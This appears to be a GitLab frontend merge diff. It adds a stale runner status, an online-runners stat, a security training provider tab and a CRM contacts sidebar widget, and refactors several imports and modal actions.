--- a/app/assets/javascripts/runner/components/search_tokens/status_token_config.js
+++ b/app/assets/javascripts/runner/components/search_tokens/status_token_config.js
@@ -7,6 +7,7 @@ import {
STATUS_ONLINE,
STATUS_OFFLINE,
STATUS_NOT_CONNECTED,
+ STATUS_STALE,
PARAM_KEY_STATUS,
} from '../../constants';
@@ -16,6 +17,7 @@ const options = [
{ value: STATUS_ONLINE, title: s__('Runners|Online') },
{ value: STATUS_OFFLINE, title: s__('Runners|Offline') },
{ value: STATUS_NOT_CONNECTED, title: s__('Runners|Not connected') },
+ { value: STATUS_STALE, title: s__('Runners|Stale') },
];
export const statusTokenConfig = {
diff --git a/app/assets/javascripts/runner/components/search_tokens/tag_token.vue b/app/assets/javascripts/runner/components/search_tokens/tag_token.vue
index ab67ac608e2..7461308ab91 100644
--- a/app/assets/javascripts/runner/components/search_tokens/tag_token.vue
+++ b/app/assets/javascripts/runner/components/search_tokens/tag_token.vue
@@ -68,7 +68,6 @@ export default {
:config="config"
:suggestions-loading="loading"
:suggestions="tags"
- :recent-suggestions-storage-key="config.recentTokenValuesStorageKey"
@fetch-suggestions="fetchTags"
v-on="$listeners"
>
diff --git a/app/assets/javascripts/runner/components/stat/runner_online_stat.vue b/app/assets/javascripts/runner/components/stat/runner_online_stat.vue
new file mode 100644
index 00000000000..b92b9badef0
--- /dev/null
+++ b/app/assets/javascripts/runner/components/stat/runner_online_stat.vue
@@ -0,0 +1,17 @@
+<script>
+import { GlSingleStat } from '@gitlab/ui/dist/charts';
+
+export default {
+ components: {
+ GlSingleStat,
+ },
+};
+</script>
+<template>
+ <gl-single-stat
+ v-bind="$attrs"
+ variant="success"
+ :title="s__('Runners|Online Runners')"
+ :meta-text="s__('Runners|online')"
+ />
+</template>
diff --git a/app/assets/javascripts/runner/constants.js b/app/assets/javascripts/runner/constants.js
index 3952e2398e0..355f3054917 100644
--- a/app/assets/javascripts/runner/constants.js
+++ b/app/assets/javascripts/runner/constants.js
@@ -1,6 +1,7 @@
import { s__ } from '~/locale';
export const RUNNER_PAGE_SIZE = 20;
+export const RUNNER_JOB_COUNT_LIMIT = 1000;
export const GROUP_RUNNER_COUNT_LIMIT = 1000;
export const I18N_FETCH_ERROR = s__('Runners|Something went wrong while fetching runner data.');
@@ -14,15 +15,18 @@ export const I18N_GROUP_RUNNER_DESCRIPTION = s__(
export const I18N_PROJECT_RUNNER_DESCRIPTION = s__('Runners|Associated with one or more projects');
// Status
-export const I18N_ONLINE_RUNNER_DESCRIPTION = s__(
+export const I18N_ONLINE_RUNNER_TIMEAGO_DESCRIPTION = s__(
'Runners|Runner is online; last contact was %{timeAgo}',
);
-export const I18N_OFFLINE_RUNNER_DESCRIPTION = s__(
- 'Runners|No recent contact from this runner; last contact was %{timeAgo}',
-);
export const I18N_NOT_CONNECTED_RUNNER_DESCRIPTION = s__(
'Runners|This runner has never connected to this instance',
);
+export const I18N_OFFLINE_RUNNER_TIMEAGO_DESCRIPTION = s__(
+ 'Runners|No recent contact from this runner; last contact was %{timeAgo}',
+);
+export const I18N_STALE_RUNNER_DESCRIPTION = s__(
+ 'Runners|No contact from this runner in over 3 months',
+);
export const I18N_LOCKED_RUNNER_DESCRIPTION = s__('Runners|You cannot assign to other projects');
export const I18N_PAUSED_RUNNER_DESCRIPTION = s__('Runners|Not available to run jobs');
@@ -54,9 +58,12 @@ export const PROJECT_TYPE = 'PROJECT_TYPE';
export const STATUS_ACTIVE = 'ACTIVE';
export const STATUS_PAUSED = 'PAUSED';
+
export const STATUS_ONLINE = 'ONLINE';
-export const STATUS_OFFLINE = 'OFFLINE';
export const STATUS_NOT_CONNECTED = 'NOT_CONNECTED';
+export const STATUS_NEVER_CONTACTED = 'NEVER_CONTACTED';
+export const STATUS_OFFLINE = 'OFFLINE';
+export const STATUS_STALE = 'STALE';
// CiRunnerAccessLevel
diff --git a/app/assets/javascripts/runner/graphql/get_group_runners.query.graphql b/app/assets/javascripts/runner/graphql/get_group_runners.query.graphql
index 3e5109b1ac4..6da9e276f74 100644
--- a/app/assets/javascripts/runner/graphql/get_group_runners.query.graphql
+++ b/app/assets/javascripts/runner/graphql/get_group_runners.query.graphql
@@ -13,6 +13,7 @@ query getGroupRunners(
$sort: CiRunnerSort
) {
group(fullPath: $groupFullPath) {
+ id
runners(
membership: DESCENDANTS
before: $before
diff --git a/app/assets/javascripts/runner/graphql/get_runner.query.graphql b/app/assets/javascripts/runner/graphql/get_runner.query.graphql
index c294cb9bf22..59c55eae060 100644
--- a/app/assets/javascripts/runner/graphql/get_runner.query.graphql
+++ b/app/assets/javascripts/runner/graphql/get_runner.query.graphql
@@ -1,6 +1,8 @@
#import "ee_else_ce/runner/graphql/runner_details.fragment.graphql"
query getRunner($id: CiRunnerID!) {
+ # We have an id in deeply nested fragment
+ # eslint-disable-next-line @graphql-eslint/require-id-when-available
runner(id: $id) {
...RunnerDetails
}
diff --git a/app/assets/javascripts/runner/graphql/runner_node.fragment.graphql b/app/assets/javascripts/runner/graphql/runner_node.fragment.graphql
index 98f2dab26ca..169f6ffd2ea 100644
--- a/app/assets/javascripts/runner/graphql/runner_node.fragment.graphql
+++ b/app/assets/javascripts/runner/graphql/runner_node.fragment.graphql
@@ -8,7 +8,8 @@ fragment RunnerNode on CiRunner {
ipAddress
active
locked
+ jobCount
tagList
contactedAt
- status
+ status(legacyMode: null)
}
diff --git a/app/assets/javascripts/runner/graphql/runner_update.mutation.graphql b/app/assets/javascripts/runner/graphql/runner_update.mutation.graphql
index ea622fd4958..8d1b75828be 100644
--- a/app/assets/javascripts/runner/graphql/runner_update.mutation.graphql
+++ b/app/assets/javascripts/runner/graphql/runner_update.mutation.graphql
@@ -5,6 +5,8 @@
mutation runnerUpdate($input: RunnerUpdateInput!) {
runnerUpdate(input: $input) {
+ # We have an id in deep nested fragment
+ # eslint-disable-next-line @graphql-eslint/require-id-when-available
runner {
...RunnerDetails
}
diff --git a/app/assets/javascripts/runner/group_runners/group_runners_app.vue b/app/assets/javascripts/runner/group_runners/group_runners_app.vue
index c3dfa885f27..a58a53a6a0d 100644
--- a/app/assets/javascripts/runner/group_runners/group_runners_app.vue
+++ b/app/assets/javascripts/runner/group_runners/group_runners_app.vue
@@ -9,6 +9,7 @@ import RegistrationDropdown from '../components/registration/registration_dropdo
import RunnerFilteredSearchBar from '../components/runner_filtered_search_bar.vue';
import RunnerList from '../components/runner_list.vue';
import RunnerName from '../components/runner_name.vue';
+import RunnerOnlineStat from '../components/stat/runner_online_stat.vue';
import RunnerPagination from '../components/runner_pagination.vue';
import RunnerTypeTabs from '../components/runner_type_tabs.vue';
@@ -35,6 +36,7 @@ export default {
RunnerFilteredSearchBar,
RunnerList,
RunnerName,
+ RunnerOnlineStat,
RunnerPagination,
RunnerTypeTabs,
},
@@ -145,6 +147,8 @@ export default {
<template>
<div>
+ <runner-online-stat class="gl-py-6 gl-px-5" :value="groupRunnersCount" />
+
<div class="gl-display-flex gl-align-items-center">
<runner-type-tabs
v-model="search"
@@ -164,11 +168,7 @@ export default {
v-model="search"
:tokens="searchTokens"
:namespace="filteredSearchNamespace"
- >
- <template #runner-count>
- {{ runnerCountMessage }}
- </template>
- </runner-filtered-search-bar>
+ />
<div v-if="noRunnersFound" class="gl-text-center gl-p-5">
{{ __('No runners found') }}
diff --git a/app/assets/javascripts/security_configuration/components/app.vue b/app/assets/javascripts/security_configuration/components/app.vue
index bc13150c99c..75d2b324623 100644
--- a/app/assets/javascripts/security_configuration/components/app.vue
+++ b/app/assets/javascripts/security_configuration/components/app.vue
@@ -1,12 +1,14 @@
<script>
import { GlTab, GlTabs, GlSprintf, GlLink, GlAlert } from '@gitlab/ui';
import { __, s__ } from '~/locale';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
import UserCalloutDismisser from '~/vue_shared/components/user_callout_dismisser.vue';
import AutoDevOpsAlert from './auto_dev_ops_alert.vue';
import AutoDevOpsEnabledAlert from './auto_dev_ops_enabled_alert.vue';
import { AUTO_DEVOPS_ENABLED_ALERT_DISMISSED_STORAGE_KEY } from './constants';
import FeatureCard from './feature_card.vue';
+import TrainingProviderList from './training_provider_list.vue';
import SectionLayout from './section_layout.vue';
import UpgradeBanner from './upgrade_banner.vue';
@@ -23,6 +25,8 @@ export const i18n = {
any subsequent feature branch you create will include the scan.`,
),
securityConfiguration: __('Security Configuration'),
+ vulnerabilityManagement: s__('SecurityConfiguration|Vulnerability Management'),
+ securityTraining: s__('SecurityConfiguration|Security training'),
};
export default {
@@ -40,7 +44,9 @@ export default {
SectionLayout,
UpgradeBanner,
UserCalloutDismisser,
+ TrainingProviderList,
},
+ mixins: [glFeatureFlagsMixin()],
inject: ['projectPath'],
props: {
augmentedSecurityFeatures: {
@@ -231,6 +237,17 @@ export default {
</template>
</section-layout>
</gl-tab>
+ <gl-tab
+ v-if="glFeatures.secureVulnerabilityTraining"
+ data-testid="vulnerability-management-tab"
+ :title="$options.i18n.vulnerabilityManagement"
+ >
+ <section-layout :heading="$options.i18n.securityTraining">
+ <template #features>
+ <training-provider-list />
+ </template>
+ </section-layout>
+ </gl-tab>
</gl-tabs>
</article>
</template>
diff --git a/app/assets/javascripts/security_configuration/components/constants.js b/app/assets/javascripts/security_configuration/components/constants.js
index 9c80506549e..dd8ba72ad1f 100644
--- a/app/assets/javascripts/security_configuration/components/constants.js
+++ b/app/assets/javascripts/security_configuration/components/constants.js
@@ -22,6 +22,7 @@ import configureSecretDetectionMutation from '../graphql/configure_secret_detect
/**
* Translations & helpPagePaths for Security Configuration Page
+ * Make sure to add new scanner translations to the SCANNER_NAMES_MAP below.
*/
export const SAST_NAME = __('Static Application Security Testing (SAST)');
@@ -138,6 +139,18 @@ export const LICENSE_COMPLIANCE_HELP_PATH = helpPagePath(
'user/compliance/license_compliance/index',
);
+export const SCANNER_NAMES_MAP = {
+ SAST: SAST_SHORT_NAME,
+ SAST_IAC: SAST_IAC_NAME,
+ DAST: DAST_SHORT_NAME,
+ API_FUZZING: API_FUZZING_NAME,
+ CONTAINER_SCANNING: CONTAINER_SCANNING_NAME,
+ CLUSTER_IMAGE_SCANNING: CLUSTER_IMAGE_SCANNING_NAME,
+ COVERAGE_FUZZING: COVERAGE_FUZZING_NAME,
+ SECRET_DETECTION: SECRET_DETECTION_NAME,
+ DEPENDENCY_SCANNING: DEPENDENCY_SCANNING_NAME,
+};
+
export const securityFeatures = [
{
name: SAST_NAME,
@@ -156,27 +169,23 @@ export const securityFeatures = [
// https://gitlab.com/gitlab-org/gitlab/-/issues/331621
canEnableByMergeRequest: true,
},
- ...(gon?.features?.configureIacScanningViaMr
- ? [
- {
- name: SAST_IAC_NAME,
- shortName: SAST_IAC_SHORT_NAME,
- description: SAST_IAC_DESCRIPTION,
- helpPath: SAST_IAC_HELP_PATH,
- configurationHelpPath: SAST_IAC_CONFIG_HELP_PATH,
- type: REPORT_TYPE_SAST_IAC,
+ {
+ name: SAST_IAC_NAME,
+ shortName: SAST_IAC_SHORT_NAME,
+ description: SAST_IAC_DESCRIPTION,
+ helpPath: SAST_IAC_HELP_PATH,
+ configurationHelpPath: SAST_IAC_CONFIG_HELP_PATH,
+ type: REPORT_TYPE_SAST_IAC,
- // This field is currently hardcoded because SAST IaC is always available.
- // It will eventually come from the Backend, the progress is tracked in
- // https://gitlab.com/gitlab-org/gitlab/-/issues/331622
- available: true,
+ // This field is currently hardcoded because SAST IaC is always available.
+ // It will eventually come from the Backend, the progress is tracked in
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/331622
+ available: true,
- // This field will eventually come from the backend, the progress is
- // tracked in https://gitlab.com/gitlab-org/gitlab/-/issues/331621
- canEnableByMergeRequest: true,
- },
- ]
- : []),
+ // This field will eventually come from the backend, the progress is
+ // tracked in https://gitlab.com/gitlab-org/gitlab/-/issues/331621
+ canEnableByMergeRequest: true,
+ },
{
name: DAST_NAME,
shortName: DAST_SHORT_NAME,
@@ -278,21 +287,17 @@ export const featureToMutationMap = {
},
}),
},
- ...(gon?.features?.configureIacScanningViaMr
- ? {
- [REPORT_TYPE_SAST_IAC]: {
- mutationId: 'configureSastIac',
- getMutationPayload: (projectPath) => ({
- mutation: configureSastIacMutation,
- variables: {
- input: {
- projectPath,
- },
- },
- }),
+ [REPORT_TYPE_SAST_IAC]: {
+ mutationId: 'configureSastIac',
+ getMutationPayload: (projectPath) => ({
+ mutation: configureSastIacMutation,
+ variables: {
+ input: {
+ projectPath,
},
- }
- : {}),
+ },
+ }),
+ },
[REPORT_TYPE_SECRET_DETECTION]: {
mutationId: 'configureSecretDetection',
getMutationPayload: (projectPath) => ({
diff --git a/app/assets/javascripts/security_configuration/components/training_provider_list.vue b/app/assets/javascripts/security_configuration/components/training_provider_list.vue
new file mode 100644
index 00000000000..509377a63e8
--- /dev/null
+++ b/app/assets/javascripts/security_configuration/components/training_provider_list.vue
@@ -0,0 +1,61 @@
+<script>
+import { GlCard, GlToggle, GlLink, GlSkeletonLoader } from '@gitlab/ui';
+import securityTrainingProvidersQuery from '../graphql/security_training_providers.query.graphql';
+
+export default {
+ components: {
+ GlCard,
+ GlToggle,
+ GlLink,
+ GlSkeletonLoader,
+ },
+ apollo: {
+ securityTrainingProviders: {
+ query: securityTrainingProvidersQuery,
+ },
+ },
+ data() {
+ return {
+ securityTrainingProviders: [],
+ };
+ },
+ computed: {
+ isLoading() {
+ return this.$apollo.queries.securityTrainingProviders.loading;
+ },
+ },
+};
+</script>
+
+<template>
+ <div
+ v-if="isLoading"
+ class="gl-bg-white gl-py-6 gl-rounded-base gl-border-1 gl-border-solid gl-border-gray-100"
+ >
+ <gl-skeleton-loader :width="350" :height="44">
+ <rect width="200" height="8" x="10" y="0" rx="4" />
+ <rect width="300" height="8" x="10" y="15" rx="4" />
+ <rect width="100" height="8" x="10" y="35" rx="4" />
+ </gl-skeleton-loader>
+ </div>
+ <ul v-else class="gl-list-style-none gl-m-0 gl-p-0">
+ <li
+ v-for="{ id, isEnabled, name, description, url } in securityTrainingProviders"
+ :key="id"
+ class="gl-mb-6"
+ >
+ <gl-card>
+ <div class="gl-display-flex">
+ <gl-toggle :value="isEnabled" :label="__('Training mode')" label-position="hidden" />
+ <div class="gl-ml-5">
+ <h3 class="gl-font-lg gl-m-0 gl-mb-2">{{ name }}</h3>
+ <p>
+ {{ description }}
+ <gl-link :href="url" target="_blank">{{ __('Learn more.') }}</gl-link>
+ </p>
+ </div>
+ </div>
+ </gl-card>
+ </li>
+ </ul>
+</template>
diff --git a/app/assets/javascripts/security_configuration/graphql/security_training_providers.query.graphql b/app/assets/javascripts/security_configuration/graphql/security_training_providers.query.graphql
new file mode 100644
index 00000000000..e0c5715ba8e
--- /dev/null
+++ b/app/assets/javascripts/security_configuration/graphql/security_training_providers.query.graphql
@@ -0,0 +1,9 @@
+query Query {
+ securityTrainingProviders @client {
+ name
+ id
+ description
+ isEnabled
+ url
+ }
+}
diff --git a/app/assets/javascripts/security_configuration/index.js b/app/assets/javascripts/security_configuration/index.js
index a8623b468f2..c86ff1a58f2 100644
--- a/app/assets/javascripts/security_configuration/index.js
+++ b/app/assets/javascripts/security_configuration/index.js
@@ -2,10 +2,39 @@ import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createDefaultClient from '~/lib/graphql';
import { parseBooleanDataAttributes } from '~/lib/utils/dom_utils';
+import { __ } from '~/locale';
import SecurityConfigurationApp from './components/app.vue';
import { securityFeatures, complianceFeatures } from './components/constants';
import { augmentFeatures } from './utils';
+// Note: this is behind a feature flag and only a placeholder
+// until the actual GraphQL fields have been added
+// https://gitlab.com/gitlab-org/gi tlab/-/issues/346480
+export const tempResolvers = {
+ Query: {
+ securityTrainingProviders() {
+ return [
+ {
+ __typename: 'SecurityTrainingProvider',
+ id: 101,
+ name: __('Kontra'),
+ description: __('Interactive developer security education.'),
+ url: 'https://application.security/',
+ isEnabled: false,
+ },
+ {
+ __typename: 'SecurityTrainingProvider',
+ id: 102,
+ name: __('SecureCodeWarrior'),
+ description: __('Security training with guide and learning pathways.'),
+ url: 'https://www.securecodewarrior.com/',
+ isEnabled: true,
+ },
+ ];
+ },
+ },
+};
+
export const initSecurityConfiguration = (el) => {
if (!el) {
return null;
@@ -14,7 +43,7 @@ export const initSecurityConfiguration = (el) => {
Vue.use(VueApollo);
const apolloProvider = new VueApollo({
- defaultClient: createDefaultClient(),
+ defaultClient: createDefaultClient(tempResolvers),
});
const {
diff --git a/app/assets/javascripts/security_configuration/utils.js b/app/assets/javascripts/security_configuration/utils.js
index ec6b93c6193..47231497b8f 100644
--- a/app/assets/javascripts/security_configuration/utils.js
+++ b/app/assets/javascripts/security_configuration/utils.js
@@ -1,4 +1,5 @@
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import { SCANNER_NAMES_MAP } from '~/security_configuration/components/constants';
export const augmentFeatures = (securityFeatures, complianceFeatures, features = []) => {
const featuresByType = features.reduce((acc, feature) => {
@@ -24,3 +25,13 @@ export const augmentFeatures = (securityFeatures, complianceFeatures, features =
augmentedComplianceFeatures: complianceFeatures.map((feature) => augmentFeature(feature)),
};
};
+
+/**
+ * Converts a list of security scanner IDs (such as SAST_IAC) into a list of their translated
+ * names defined in the SCANNER_NAMES_MAP constant (eg. IaC Scanning).
+ *
+ * @param {String[]} scannerNames
+ * @returns {String[]}
+ */
+export const translateScannerNames = (scannerNames = []) =>
+ scannerNames.map((scannerName) => SCANNER_NAMES_MAP[scannerName] || scannerName);
diff --git a/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue b/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
index 0021fe909e5..e41f3aa5c9d 100644
--- a/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
+++ b/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
@@ -236,6 +236,8 @@ export default {
},
statusTimeRanges,
safeHtmlConfig: { ADD_TAGS: ['gl-emoji'] },
+ actionPrimary: { text: s__('SetStatusModal|Set status') },
+ actionSecondary: { text: s__('SetStatusModal|Remove status') },
};
</script>
@@ -243,14 +245,13 @@ export default {
<gl-modal
:title="s__('SetStatusModal|Set a status')"
:modal-id="modalId"
- :ok-title="s__('SetStatusModal|Set status')"
- :cancel-title="s__('SetStatusModal|Remove status')"
- ok-variant="success"
+ :action-primary="$options.actionPrimary"
+ :action-secondary="$options.actionSecondary"
modal-class="set-user-status-modal"
@shown="setupEmojiListAndAutocomplete"
@hide="hideEmojiMenu"
- @ok="setStatus"
- @cancel="removeStatus"
+ @primary="setStatus"
+ @secondary="removeStatus"
>
<div>
<input
diff --git a/app/assets/javascripts/shared/milestones/form.js b/app/assets/javascripts/shared/milestones/form.js
deleted file mode 100644
index 3ca9288b156..00000000000
--- a/app/assets/javascripts/shared/milestones/form.js
+++ /dev/null
@@ -1,22 +0,0 @@
-import $ from 'jquery';
-import initDatePicker from '~/behaviors/date_picker';
-import GLForm from '../../gl_form';
-import ZenMode from '../../zen_mode';
-
-export default (initGFM = true) => {
- new ZenMode(); // eslint-disable-line no-new
- initDatePicker();
-
- // eslint-disable-next-line no-new
- new GLForm($('.milestone-form'), {
- emojis: true,
- members: initGFM,
- issues: initGFM,
- mergeRequests: initGFM,
- epics: initGFM,
- milestones: initGFM,
- labels: initGFM,
- snippets: initGFM,
- vulnerabilities: initGFM,
- });
-};
diff --git a/app/assets/javascripts/sidebar/components/assignees/assignees_realtime.vue b/app/assets/javascripts/sidebar/components/assignees/assignees_realtime.vue
index e7ef731eed8..2387fe64b8f 100644
--- a/app/assets/javascripts/sidebar/components/assignees/assignees_realtime.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/assignees_realtime.vue
@@ -1,7 +1,7 @@
<script>
import produce from 'immer';
import { convertToGraphQLId, getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import { assigneesQueries } from '~/sidebar/constants';
export default {
diff --git a/app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue b/app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue
index 20667e695ce..6a74ab83c22 100644
--- a/app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue
@@ -110,7 +110,7 @@ export default {
<template>
<div
v-gl-tooltip="tooltipOptions"
- :class="{ 'multiple-users': hasMoreThanOneAssignee }"
+ :class="{ 'multiple-users gl-relative': hasMoreThanOneAssignee }"
:title="tooltipTitle"
class="sidebar-collapsed-icon sidebar-collapsed-user"
>
diff --git a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue
index 1b28ba2afd1..5b4dc20e9c8 100644
--- a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue
@@ -3,7 +3,7 @@ import { GlDropdownItem } from '@gitlab/ui';
import { cloneDeep } from 'lodash';
import Vue from 'vue';
import createFlash from '~/flash';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import { __, n__ } from '~/locale';
import SidebarAssigneesRealtime from '~/sidebar/components/assignees/assignees_realtime.vue';
import IssuableAssignees from '~/sidebar/components/assignees/issuable_assignees.vue';
diff --git a/app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue b/app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue
index 8d5c3b2def3..a27dbee31ec 100644
--- a/app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue
@@ -1,6 +1,6 @@
<script>
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import { __, sprintf } from '~/locale';
import AttentionRequestedToggle from '../attention_requested_toggle.vue';
import AssigneeAvatarLink from './assignee_avatar_link.vue';
diff --git a/app/assets/javascripts/sidebar/components/attention_requested_toggle.vue b/app/assets/javascripts/sidebar/components/attention_requested_toggle.vue
index 38ba468d197..42e56906e2c 100644
--- a/app/assets/javascripts/sidebar/components/attention_requested_toggle.vue
+++ b/app/assets/javascripts/sidebar/components/attention_requested_toggle.vue
@@ -64,7 +64,7 @@ export default {
<gl-button
:loading="loading"
:variant="user.attention_requested ? 'warning' : 'default'"
- :icon="user.attention_requested ? 'star' : 'star-o'"
+ :icon="user.attention_requested ? 'attention-solid' : 'attention'"
:aria-label="tooltipTitle"
size="small"
category="tertiary"
diff --git a/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_form.vue b/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_form.vue
index 1fb4bd26533..209d1cca360 100644
--- a/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_form.vue
+++ b/app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_form.vue
@@ -1,7 +1,7 @@
<script>
import { GlSprintf, GlButton } from '@gitlab/ui';
import createFlash from '~/flash';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import { __, sprintf } from '~/locale';
import { confidentialityQueries } from '~/sidebar/constants';
diff --git a/app/assets/javascripts/sidebar/components/crm_contacts/crm_contacts.vue b/app/assets/javascripts/sidebar/components/crm_contacts/crm_contacts.vue
new file mode 100644
index 00000000000..6d4da104952
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/crm_contacts/crm_contacts.vue
@@ -0,0 +1,131 @@
+<script>
+import { GlIcon, GlPopover, GlTooltipDirective } from '@gitlab/ui';
+import { __, n__, sprintf } from '~/locale';
+import createFlash from '~/flash';
+import { convertToGraphQLId } from '~/graphql_shared/utils';
+import { TYPE_ISSUE } from '~/graphql_shared/constants';
+import getIssueCrmContactsQuery from './queries/get_issue_crm_contacts.query.graphql';
+import issueCrmContactsSubscription from './queries/issue_crm_contacts.subscription.graphql';
+
+export default {
+ components: {
+ GlIcon,
+ GlPopover,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ issueId: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ contacts: [],
+ };
+ },
+ apollo: {
+ contacts: {
+ query: getIssueCrmContactsQuery,
+ variables() {
+ return this.queryVariables;
+ },
+ update(data) {
+ return data?.issue?.customerRelationsContacts?.nodes;
+ },
+ error(error) {
+ createFlash({
+ message: __('Something went wrong trying to load issue contacts.'),
+ error,
+ captureError: true,
+ });
+ },
+ subscribeToMore: {
+ document: issueCrmContactsSubscription,
+ variables() {
+ return this.queryVariables;
+ },
+ updateQuery(prev, { subscriptionData }) {
+ const draftData = subscriptionData?.data?.issueCrmContactsUpdated;
+ if (prev && draftData) return { issue: draftData };
+ return prev;
+ },
+ },
+ },
+ },
+ computed: {
+ shouldShowContacts() {
+ return this.contacts?.length;
+ },
+ queryVariables() {
+ return { id: convertToGraphQLId(TYPE_ISSUE, this.issueId) };
+ },
+ contactsLabel() {
+ return sprintf(n__('%{count} contact', '%{count} contacts', this.contactCount), {
+ count: this.contactCount,
+ });
+ },
+ contactCount() {
+ return this.contacts?.length || 0;
+ },
+ },
+ methods: {
+ shouldShowPopover(contact) {
+ return this.popOverData(contact).length > 0;
+ },
+ divider(index) {
+ if (index < this.contactCount - 1) return ',';
+ return '';
+ },
+ popOverData(contact) {
+ return [contact.organization?.name, contact.email, contact.phone, contact.description].filter(
+ Boolean,
+ );
+ },
+ },
+ i18n: {
+ help: __('Work in progress- click here to find out more'),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <div v-gl-tooltip.left.viewport :title="contactsLabel" class="sidebar-collapsed-icon">
+ <gl-icon name="users" />
+ <span> {{ contactCount }} </span>
+ </div>
+ <div
+ v-gl-tooltip.left.viewport="$options.i18n.help"
+ class="hide-collapsed help-button float-right"
+ >
+ <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/2256"><gl-icon name="question-o" /></a>
+ </div>
+ <div class="title hide-collapsed gl-mb-2 gl-line-height-20">
+ {{ contactsLabel }}
+ </div>
+ <div class="hide-collapsed gl-display-flex gl-flex-wrap">
+ <div
+ v-for="(contact, index) in contacts"
+ :id="`contact_container_${index}`"
+ :key="index"
+ class="gl-pr-2"
+ >
+ <span :id="`contact_${index}`" class="gl-font-weight-bold"
+ >{{ contact.firstName }} {{ contact.lastName }}{{ divider(index) }}</span
+ >
+ <gl-popover
+ v-if="shouldShowPopover(contact)"
+ :target="`contact_${index}`"
+ :container="`contact_container_${index}`"
+ triggers="hover focus"
+ placement="top"
+ >
+ <div v-for="row in popOverData(contact)" :key="row">{{ row }}</div>
+ </gl-popover>
+ </div>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/sidebar/components/crm_contacts/queries/get_issue_crm_contacts.query.graphql b/app/assets/javascripts/sidebar/components/crm_contacts/queries/get_issue_crm_contacts.query.graphql
new file mode 100644
index 00000000000..30a0af10d56
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/crm_contacts/queries/get_issue_crm_contacts.query.graphql
@@ -0,0 +1,7 @@
+#import "./issue_crm_contacts.fragment.graphql"
+
+query issueCrmContacts($id: IssueID!) {
+ issue(id: $id) {
+ ...CrmContacts
+ }
+}
diff --git a/app/assets/javascripts/sidebar/components/crm_contacts/queries/issue_crm_contacts.fragment.graphql b/app/assets/javascripts/sidebar/components/crm_contacts/queries/issue_crm_contacts.fragment.graphql
new file mode 100644
index 00000000000..750e1f1d1af
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/crm_contacts/queries/issue_crm_contacts.fragment.graphql
@@ -0,0 +1,17 @@
+fragment CrmContacts on Issue {
+ id
+ customerRelationsContacts {
+ nodes {
+ id
+ firstName
+ lastName
+ email
+ phone
+ description
+ organization {
+ id
+ name
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/components/crm_contacts/queries/issue_crm_contacts.subscription.graphql b/app/assets/javascripts/sidebar/components/crm_contacts/queries/issue_crm_contacts.subscription.graphql
new file mode 100644
index 00000000000..f3b6e4ec06f
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/crm_contacts/queries/issue_crm_contacts.subscription.graphql
@@ -0,0 +1,9 @@
+#import "./issue_crm_contacts.fragment.graphql"
+
+subscription issueCrmContactsUpdated($id: IssuableID!) {
+ issueCrmContactsUpdated(issuableId: $id) {
+ ... on Issue {
+ ...CrmContacts
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue b/app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue
index 1ff24dec884..404bcc3122a 100644
--- a/app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue
+++ b/app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue
@@ -1,7 +1,7 @@
<script>
import { GlIcon, GlDatepicker, GlTooltipDirective, GlLink, GlPopover } from '@gitlab/ui';
import createFlash from '~/flash';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import { dateInWords, formatDate, parsePikadayDate } from '~/lib/utils/datetime_utility';
import { __, sprintf } from '~/locale';
import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
@@ -124,6 +124,9 @@ export default {
isLoading() {
return this.$apollo.queries.issuable.loading || this.loading;
},
+ initialLoading() {
+ return this.$apollo.queries.issuable.loading;
+ },
hasDate() {
return this.dateValue !== null;
},
@@ -151,7 +154,7 @@ export default {
};
},
dataTestId() {
